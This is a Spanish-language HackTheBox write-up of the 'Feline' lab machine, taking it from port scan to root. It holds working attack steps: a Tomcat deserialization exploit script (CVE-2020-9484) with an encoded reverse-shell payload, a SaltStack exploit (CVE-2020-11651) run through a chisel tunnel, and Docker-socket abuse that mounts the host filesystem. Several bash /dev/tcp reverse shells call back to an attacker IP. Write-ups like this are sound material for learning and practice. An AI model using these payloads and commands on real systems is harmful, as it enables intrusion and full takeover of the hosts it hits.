Feline es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad Difícil.
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Índice
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina Feline 10.10.10.205 a /etc/hosts como feline.htb y comenzamos con el escaneo de puertos nmap.
1 2 3 4 5 6 7 8 9 10 11 12 13 |
# Nmap 7.70 scan initiated Wed Dec 9 21:00:26 2020 as: nmap -sC -sV -p- -oA enumeration/nmap 10.10.10.205 Nmap scan report for 10.10.10.205 Host is up (0.054s latency). Not shown: 65533 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0) 8080/tcp open http Apache Tomcat 9.0.27 |_http-title: VirusBucket Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Wed Dec 9 21:01:57 2020 -- 1 IP address (1 host up) scanned in 91.25 seconds |
Después de un primer escaneo con nmap, no hay muchos puertos disponibles por lo que comenzaremos por el portal web existente en el puerto 8080.
Enumeracion
Accedemos a través del navegador al puerto 8080 y encontramos el siguiente portal:
Donde vemos un portal de análisis de ficheros en busca de malware, como podría ser por ejemplo el conocido virustotal. Revisamos el portal y sólo encontramos un enlace funcional en /service el cual nos muestra una página con un formulario para la carga de ficheros:
Hacemos una serie de pruebas y parece que sube el fichero, pero no conocemos donde puede estar así que lanzamos gobuster y wfuzz con la intención de encontrar la misma o alguna ruta alternativa que nos sea de utilidad pero no conseguimos nada relevante. Pasamos entonces a realizar la carga de ficheros interceptando la petición con Burp Suite a ver si muestra algún error o algún dato que sea de interés y verificamos que la subida se realiza:
Hacemos entonces una segunda prueba, borrando el nombre del fichero y nos muestra un error y la ruta de la carpeta de uploads:
Y el error completo sería el siguiente:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 |
java.io.FileNotFoundException: /opt/samples/uploads (Is a directory) at java.base/java.io.FileOutputStream.open0(Native Method) at java.base/java.io.FileOutputStream.open(FileOutputStream.java:298) at java.base/java.io.FileOutputStream.<init>(FileOutputStream.java:237) at java.base/java.io.FileOutputStream.<init>(FileOutputStream.java:187) at org.apache.commons.fileupload.disk.DiskFileItem.write(DiskFileItem.java:394) at org.apache.jsp.upload_jsp._jspService(upload_jsp.java:205) at org.apache.jasper.runtime.HttpJspBase.service(HttpJspBase.java:70) at javax.servlet.http.HttpServlet.service(HttpServlet.java:741) at org.apache.jasper.servlet.JspServletWrapper.service(JspServletWrapper.java:476) at org.apache.jasper.servlet.JspServlet.serviceJspFile(JspServlet.java:385) at org.apache.jasper.servlet.JspServlet.service(JspServlet.java:329) at javax.servlet.http.HttpServlet.service(HttpServlet.java:741) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:231) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166) at org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:53) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166) at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:202) at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:96) at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:526) at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:139) at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:92) at org.apache.catalina.valves.AbstractAccessLogValve.invoke(AbstractAccessLogValve.java:678) at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:74) at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:343) at org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:408) at org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:66) at org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:861) at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1579) at org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49) at java.base/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1128) at java.base/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) at java.base/java.lang.Thread.run(Thread.java:834) |
Así que con el error en mano vamos a buscar en google información al respecto con el fin de encontrar alguna vulnerabilidad y descubrimos la posibilidad de aprovechar un error en la deserialización para realizar un RCE y que está documentado con el CVE-2020-9484 y podemos ver una POC del mismo en el siguiente enlace:
https://www.redtimmy.com/apache-tomcat-rce-by-deserialization-cve-2020-9484-write-up-and-exploit/
Así que trataremos de explotar la misma para conseguir una shell en la máquina. Para ello tendremos una serie de requisitos:
- No debe de ser necesaria la autenticación para la carga del fichero
- Se necesita tener control sobre la ubicación y el nombre del fichero o, en su defecto, conocer los mismos
- La función exec() de Java Run será la encargada de desearilizar la información de la cookie JSESSIONID
Completados los requisitos se deberán seguir unos pasos para conseguir explotarla:
- Se deberá crear un objeto serializado Java Runtime Environment y guardarlo en la variable varname.session
- Una vez guardado se subirá al servidor
- El último paso será modificar el valor de la variable JSESSIONID a un valor del estilo “../../malicious.session”
Debido a que JSESSIONID es analizado por la función java.lang.Runtime necesitamos configurar una carga útil en bash o shell ya que al tratarse de un entorno de ejecución si utilizamos nc, socat se romperá dentro del entorno.
Así que hacemos una serie de pruebas para verificarlo con burp y generaremos un script para hacer más sencilla la explotación, que en nuestro caso el código será el siguiente:
1 2 3 4 5 6 7 |
#!/bin/bash # Apache Tomcat RCE by deserialization (CVE-2020-9484) payload="bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC42LzQ0NDQgMD4mMQo=}|{base64,-d}|{bash,-i}" java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections2 "${payload}" > byte.session curl -F 'image=@byte.session' http://feline.htb:8080/upload.jsp?email=bytemind curl -b "JSESSIONID=../../../../../opt/samples/uploads/byte" -L http://feline.htb:8080/upload.jsp?email=bytemind |
Ejecutamos dicho script y conseguiremos una shell con el usuario tomcat en nuestra escucha:
1 2 3 4 5 6 7 8 9 10 |
$ nc -lvp 4444 listening on [any] 4444 ... connect to [10.10.14.6] from feline.htb [10.10.10.205] 55558 bash: cannot set terminal process group (911): Inappropriate ioctl for device bash: no job control in this shell tomcat@VirusBucket:/opt/tomcat$ id && whoami id && whoami uid=1000(tomcat) gid=1000(tomcat) groups=1000(tomcat) tomcat tomcat@VirusBucket:/opt/tomcat$ |
Obteniendo la flag de user
Revisamos los permisos del usuario y la flag se encuentra en la home del usuario tomcat, por lo que vamos a la misma y conseguimos la flag de user:
1 2 3 4 5 6 7 8 |
tomcat@VirusBucket:~$ ls -l ls -l total 4 -rw-r--r-- 1 root root 33 Dec 9 20:01 user.txt tomcat@VirusBucket:~$ cat user.txt cat user.txt axxxxxxxxxxxxxxxxxxxxxxxxxxxxx5 tomcat@VirusBucket:~$ |
Y ya tenemos hecho el 50% de esta máquina así que seguimos para root.
Escalado de privilegios
Procedemos a enumerar el sistema con este usuario y descubrimos dos puertos interesantes, el 4505 y 4506:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
tomcat@VirusBucket:~$ netstat -ant netstat -ant Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 127.0.0.1:8000 0.0.0.0:* LISTEN tcp 0 0 127.0.0.1:35459 0.0.0.0:* LISTEN tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN tcp 0 0 127.0.0.1:4505 0.0.0.0:* LISTEN tcp 0 0 127.0.0.1:4506 0.0.0.0:* LISTEN tcp 0 13 10.10.10.205:56688 10.10.14.6:4444 ESTABLISHED tcp 0 1 10.10.10.205:35364 1.1.1.1:53 SYN_SENT tcp6 0 0 127.0.0.1:8005 :::* LISTEN tcp6 0 0 :::8080 :::* LISTEN tcp6 0 0 :::22 :::* LISTEN tomcat@VirusBucket:~$ |
Buscando los mismos en google encontramos dos vulnerabiliddes muy interesantes para llevar a cabo el ataque, CVE-2020-11651 y CVE-2020-11652 y un enlace mostrando la explicación de las mismas:
https://gist.github.com/SwitHak/8e7fa45b5656c691ddf13c8c47e8fda6
Además buscando también en exploit-db encontramos un exploit público para realizar el ataque:
https://www.exploit-db.com/exploits/48421
Aunque aquí tenemos un problema y es que necesitamos que esté instalado el módulo salt en la máquina, pero no está instalado en la máquina feline:
1 2 3 4 5 |
tomcat@VirusBucket:~$ python3 -c 'import salt;' python3 -c 'import salt;' Traceback (most recent call last): File "<string>", line 1, in <module> ModuleNotFoundError: No module named 'salt' |
Para realizar entonces la ejecución de nuestro exploit necesitaremos redireccionar un puerto de nuestro servidor para poder ejecutar el mismo desde nuestra máquina, donde disponemos del módulo salt, o podemos instalarlo si no lo tenemos. Para realizar esto utilizaremos la tool chisel disponible en github.
Así que lanzamos chisel en modo server en nuestra máquina:
1 2 3 4 5 |
$ ./chisel server -p 12312 --reverse 2020/12/10 16:18:51 server: Reverse tunnelling enabled 2020/12/10 16:18:51 server: Fingerprint Fpljbd54frTi7q3KMMt4v/aPn+WOBN22GT7hTc9pY2c= 2020/12/10 16:18:51 server: Listening on http://0.0.0.0:12312 2020/12/10 16:18:52 server: session#1: tun: proxy#R:4506=>4506: Listening |
Y posteriormente lo descargamos en la máquina víctima y lo ejecutamos como cliente:
1 2 3 4 |
tomcat@VirusBucket:/tmp$ ./chisel client 10.10.14.6:12312 R:4505:127.0.0.1:4505 <hisel client 10.10.14.6:12312 R:4505:127.0.0.1:4505 2020/12/10 15:17:26 client: Connecting to ws://10.10.14.6:12312 2020/12/10 15:17:27 client: Connected (Latency 68.74573ms) |
Como último paso ejecutaremos el exploit:
1 2 3 4 5 6 7 8 9 |
$ python3 cve-2020-11651.py --master 127.0.0.1 --exec 'bash -c "bash -i >& /dev/tcp/10.10.14.6/4445 0>&1"' [!] Please only use this script to verify you have correctly patched systems you have permission to access. Hit ^C to abort. [+] Salt version: 3000.1 [ ] This version of salt is vulnerable! Check results below [+] Checking salt-master (127.0.0.1:4506) status... ONLINE [+] Checking if vulnerable to CVE-2020-11651... [*] root key obtained: boVu3fTwYzBwHPtz44QBnhpX/JUXX1JbM4IzpZbDzEIav4iEEfuu4We1fpgHvTX4OAk5uFiwQz0= [+] Attemping to execute bash -c "bash -i >& /dev/tcp/10.10.14.6/4445 0>&1" on 127.0.0.1 [+] Successfully scheduled job: 20201210153446206664 |
Y conseguiremos acceso a un contenedor en nuestra escucha:
1 2 3 4 5 6 7 8 9 10 11 |
$ nc -nlvp 4445 listening on [any] 4445 ... connect to [10.10.14.6] from (UNKNOWN) [10.10.10.205] 45732 bash: cannot set terminal process group (27680): Inappropriate ioctl for device bash: no job control in this shell root@2d24bf61767c:~# id id uid=0(root) gid=0(root) groups=0(root) root@2d24bf61767c:~# whoami whoami root |
Esta máquina en la que estamos ahora es un contenedor, así que necesitaremos encontrar la forma de poder crear nuestro contenedor o de escalar al usuario root de la máquina host. Revisamos el historial de comandos del usuario y encontramos uno interesante:
1 2 3 4 5 6 7 8 |
24 cd /home/tomcat 25 cat /etc/passwd 26 exit 27 cd /root/ 28 ls 29 cat todo.txt 30 ls -la /var/run/ 31 curl -s --unix-socket /var/run/docker.sock http://localhost/images/json |
Vemos un comando con curl donde está exponiendo el socket de docker así que vamos a lanzar ese mismo comando para verificar que tenemos acceso a dicho socket y que podemos ver información relevante a la instalación de docker en el host:
1 2 3 4 |
root@2d24bf61767c:~# curl -s --unix-socket /var/run/docker.sock http://localhost/images/json <t /var/run/docker.sock http://localhost/images/json [{"Containers":-1,"Created":1590787186,"Id":"sha256:a24bb4013296f61e89ba57005a7b3e52274d8edd3ae2077d04395f806b63d83e","Labels":null,"ParentId":"","RepoDigests":null,"RepoTags":["sandbox:latest"],"SharedSize":-1,"Size":5574537,"VirtualSize":5574537},{"Containers":-1,"Created":1588544489,"Id":"sha256:188a2704d8b01d4591334d8b5ed86892f56bfe1c68bee828edc2998fb015b9e9","Labels":null,"ParentId":"","RepoDigests":["<none>@<none>"],"RepoTags":["<none>:<none>"],"SharedSize":-1,"Size":1056679100,"VirtualSize":1056679100}] root@2d24bf61767c:~# |
Y conseguimos ejecutarlo y además, obtener información como son las imágenes existentes descargadas así que vamos a buscar alguna forma de poder abusar del socket para realizar nuestro escalado.
Para realizar esta tarea hay varias opciones disponibles, algunas de ellas recogidas en el post Abusing docker api socket.
Así que vamos a utilizar una de ellas para conseguir escalar privilegios.
En nuestro caso hemos hecho un script para automatizar la tarea pero vamos a verlo paso a paso el proceso del ataque.
En primer lugar generaremos nuestro payload y crearemos dos variables en la máquina para dicho fin:
1 2 3 4 |
root@2d24bf61767c:~# rshell="bash -c 'bash -i >& /dev/tcp/10.10.14.6/5555 0>&1'" <bash -c 'bash -i >& /dev/tcp/10.10.14.6/5555 0>&1'" root@2d24bf61767c:~# payload="[\"/bin/sh\",\"-c\",\"chroot /mnt sh -c \\\"${rshell}\\\"\"]" <\",\"-c\",\"chroot /mnt sh -c \\\"${rshell}\\\"\"]" |
Posteriormente crearemos un contenedor, cuyo contenido será el payload que acabamos de generar:
1 2 3 |
root@2d24bf61767c:~# curl -s -XPOST --unix-socket /var/run/docker.sock -d "{\"Image\":\"sandbox\",\"cmd\":$payload, \"Binds\": [\"/:/mnt:rw\"]}" -H 'Content-Type: application/json' http://localhost/containers/create <pplication/json' http://localhost/containers/create {"Id":"5441825cd86349edf4e2cfe88fab6465a9822f3da94a1c237a7e95121a5e0654","Warnings":[]} |
Una vez creado, arrancamos el contenedor:
1 2 |
root@2d24bf61767c:~# curl -s -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/5441825cd86349edf4e2cfe88fab6465a9822f3da94a1c237a7e95121a5e0654/start <2cfe88fab6465a9822f3da94a1c237a7e95121a5e0654/start |
Y conseguimos en nuestra escucha acceso como root a nuestro contenedor, pero teniendo acceso al disco / del host:
1 2 3 4 5 6 7 8 9 10 11 12 13 |
$ nc -lvp 5555 listening on [any] 5555 ... connect to [10.10.14.6] from feline.htb [10.10.10.205] 45994 bash: cannot set terminal process group (1): Inappropriate ioctl for device bash: no job control in this shell groups: cannot find name for group ID 11 To run a command as administrator (user "root"), use "sudo <command>". See "man sudo_root" for details. root@6654996d8a3e:/# id id uid=0(root) gid=0(root) groups=0(root),1(daemon),2(bin),3(sys),4(adm),6(disk),10(uucp),11,20(dialout),26(tape),27(sudo) root@6654996d8a3e:/# |
Obteniendo la flag de root
Ahora que ya estamos con root y acceso a la raíz del host, accedemos a la home del usuario y obtenemos nuestra flag:
1 2 3 4 5 6 7 8 9 10 11 |
root@6654996d8a3e:/# cd /root cd /rootls -l root@6654996d8a3e:~# ls -l ls -l total 8 4 -rw------- 1 root root 33 Dec 9 20:01 root.txt 4 drwxr-xr-x 3 root root 4096 May 18 2020 snap root@6654996d8a3e:~# cat root.txt cat root.txt 0xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxb root@6654996d8a3e:~# |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respeto en el siguiente enlace